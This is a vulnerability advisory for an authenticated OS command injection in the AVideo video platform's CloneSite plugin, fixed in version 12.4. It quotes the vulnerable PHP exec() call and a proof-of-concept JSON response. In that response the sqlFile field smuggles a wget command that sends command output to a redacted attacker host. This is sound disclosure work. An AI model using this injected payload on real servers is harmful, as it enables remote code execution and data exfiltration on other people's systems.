EUVD-2026-212803

fkie_cve-2023-30854

AVideo is an open source video platform. Prior to version 12.4, an OS Command Injection vulnerability in an authenticated endpoint `/plugin/CloneSite/cloneClient.json.php` allows attackers to achieve Remote Code Execution. This issue is fixed in version 12.4.

GHSA-6vrj-ph27-qfp3 — Remote code injection in wwbn/avideo

Affected: Packagist: wwbn/avideo

# WWBN Avideo Authenticated RCE - OS Command Injection

## Description

An OS Command Injection vulnerability in an Authenticated endpoint `/plugin/CloneSite/cloneClient.json.php` allows attackers to achieve Remote Code Execution.

Vulnerable code:

```php $cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}"; $log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file"); exec($cmd . " 2>&1", $output, $return_val); ```

We can control `$objClone->cloneSiteURL` through the admin panel clone site feature.

`/plugin/CloneSite/cloneClient.json.php` sends a GET Request to `{$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php`. I hosted a specially crafted `cloneServer.json.php` that prints the following JSON data

```JSON {"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/[demo.avideo.com](http://demo.avideo.com/)\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#","videoFiles":[],"photoFiles":[]} ```

Send a GET Request to `/plugin/CloneSite/cloneClient.json.php` then remote code execution is achieved.

![rce](https://i.ibb.co/h14gQtn/rce.png)

Most recent entries from all

EUVD-2026-212803

fkie_cve-2023-30854

GHSA-6vrj-ph27-qfp3 — Remote code injection in wwbn/avideo

gsd-2023-30854